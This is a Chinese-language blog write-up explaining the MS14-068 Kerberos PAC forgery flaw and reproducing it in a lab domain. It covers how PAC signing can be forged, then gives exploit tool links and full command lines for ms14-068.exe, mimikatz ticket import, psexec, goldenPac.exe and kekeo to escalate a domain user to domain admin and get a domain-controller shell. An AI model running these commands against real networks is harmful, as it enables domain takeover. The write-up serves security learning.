MS14-068漏洞原理及利用

MS14-068漏洞 可用于将普通域用户提权,升为域管理员用户。

该漏洞针对Kerberos 认证中PAC的缺险安全问题。漏洞危害很大并且利用简单,只要存在相当于就拿到域管理员的权限。

但是由于是14年的漏洞,这么多年了。。实战中碰到的可能性就非常小了,多数产生在WINServer 2008和WINServer 2003的域环境中 这里复现一下 简单记录这个经典漏洞

<1> 漏洞原理

在前面Kerberos 认证学习过程中,提到了 PAC的概念,特权属性证书。这个东西是什么呢?

PAC的诞生:

​ 在Kerberos最初的设计的流程里只说了如何证明客户端的真实身份, 并没有说明客户端是否有权限访问该服务,因为在域中不同的权限的用户 能够访问的资源是不同的,因此微软为了解决这个权限问题引入了PAC (特权属性证书)

PAC组成部分

PAC由两部分组成:用户信息和数字签名

  • 用户信息:Client的User的SID、Group的SID等,根据用户信息去判断权限

  • 数字签名:这两个签名的作用是确保PAC不被篡改

    • PAC_SERVER_CHECKSUM:使用服务密钥进行签名
    • PAC_PRIVSVR_CHECKSUM:使用KDC密钥进行签名

image-20231023220218338

PAC工作原理

引入PAC以后,在AS REP阶段返回的TGT中会包含PAC

image-20231023220142920

TGS_REQ阶段中client将带有PAC的TGT发送给KDC,KDC除了验证TGT的合法性以外,还会验证PAC的合法性,如果两者都验证通过,再重新构造新的PAC放在ST里返回给客户端 。

然后 client带着ST去请求服务,服务会先解密TGS验证合法性,校验PAC中的2个签名,确认PAC的合法性,然后会根据ST里的PAC中的user id和group id来确认Client的访问权限

但是!! 在TGS-REP阶段中,KDC并不会验证客户端是否有权限访问服务端,因此不管用户有没有访问服务的权限,只要TGT正确,均会返回ST

漏洞成因

  • Client在发起认证请求时,通过设置include-PAC为False,则返回TGT中不会包含PAC

    image-20231024202413346

  • PAC中的数字签名加密算法可以由Client端指定,并且Key的值可以为空;(KDC对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可)

  • 虽然我们没有办法修改返回的TGT,因此我们只能把PAC放到数据包中其它地方,但是 PAC没有被放在TGT中,放在其它地方。KDC在仍然能够正确解析出没有放在TGT中的PAC信息。PAC必须是密文,经过Key加密的KDC会从Authenticator中取出来subkey,把PAC信息解密并利用客户端设定的签名算法验证签名

  • 将我们生成的PAC放到数据包中发送给KDC,KDC在验证PAC通过以后,KDC把PAC中的User SID、Group SID取出来,重新使用进行签名,签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样。将新产生的PAC加入到解密后的TGT中,再重新加密制作全新的TGT发送给Client,不是ST

因此我们可以自己伪造一份高权限的PAC 流程为:

  1. 将AS_REQ阶段数据包中的include-PAC修改为 False

    image-20231024203050210

  2. 指定PAC的加密算法和密钥并将pac中的权限改为管理员权限,生成PAC

  3. 将PAC添加到TGS_REQ 数据包中发送KDC验证

    image-20231024203213056

  4. KDC将PAC验证通过后,重新使用进行签名以后,生成一个带有伪造的PAC的正常的TGT并返回给客户端

  5. 到此,我们拿到了正常的高权限TGT,将其导入内存中,我们就可以使用这个TGT去申请服务票据

image-20231024210929709

可以看到有两个 TGS-REP、TGS-REQ

<2> 漏洞利用

(1) 漏洞利用条件

漏洞利用条件:

  • 拿下一台加入域的机器并且具有管理员权限
  • 域控没有打MS14-068的补丁 (KB3011780)
  • 有这台域内计算机的域用户密码和sid

(2) 利用工具

exp下载地址:

ms14-068.exe:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

impacket:https://github.com/maaaaz/impacket-examples-windows

kekeo.exe:https://github.com/gentilkiwi/kekeo/releases

(3) ms14-068.exe

假设已经拿下普通域用户 1vxyz

whoami /user得到了SID

image-20231024100805921

利用ms14-068.exe 工具生成伪造的kerberos协议认证证书

1
2
3
# 用法:MS14-068.exe -u <userName>@<domainName>  -s <userSid> -d <domainControlerAddr> -p <clearPassword>

C:\Users\1vxyz\Desktop\MS14-068>MS14-068.exe -u 1vxyz@god.org -s S-1-5-21-2952760202-1353902439-2381784089-1110 -d OWA.god.org -p Admin@123

image-20231024101433562

生成了一个 .ccacheTGT票据,使用mimikatz 导入 TGT,获取域管理员权限票据

1
kerberos::ptc TGT_1vxyz@god.org.ccache

image-20231024101828877

导入票据成功, 访问域控 或者利用 PSExec 获取一个交互式shell。

1
2
dir \\OWA\C$
psexec.exe \\OWA cmd.exe

成功访问了域控的C目录

image-20231024101914860

psexec 获取域控交互式shell

image-20231024102425339

不做进程迁移的话,域控这边可以看到该进程

image-20231024102808203

下面这个是WINserver 2012的情况,测试时不成功 比较鸡肋,,,

image-20231023212523090

(3) goldenPac.exe

impacket工具包里的工具,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷。

并且该方式获取的shell是system权限的

1
goldenPac.exe god.org/1vxyz:Admin@123@OWA.god.org

image-20231024103209544

(4) kekeo.exe

1
kekeo.exe "xploit::ms14068 /domain:god.org /user:1vxyz /password:Admin@123 /ptt""exit"

image-20231024103907539

申请到票据并注入内存,然后psexec 拿shell即可

参考:https://www.freebuf.com/articles/network/373088.html

作者

1vxyz

发布于

2023-10-23

更新于

2023-10-25

许可协议

评论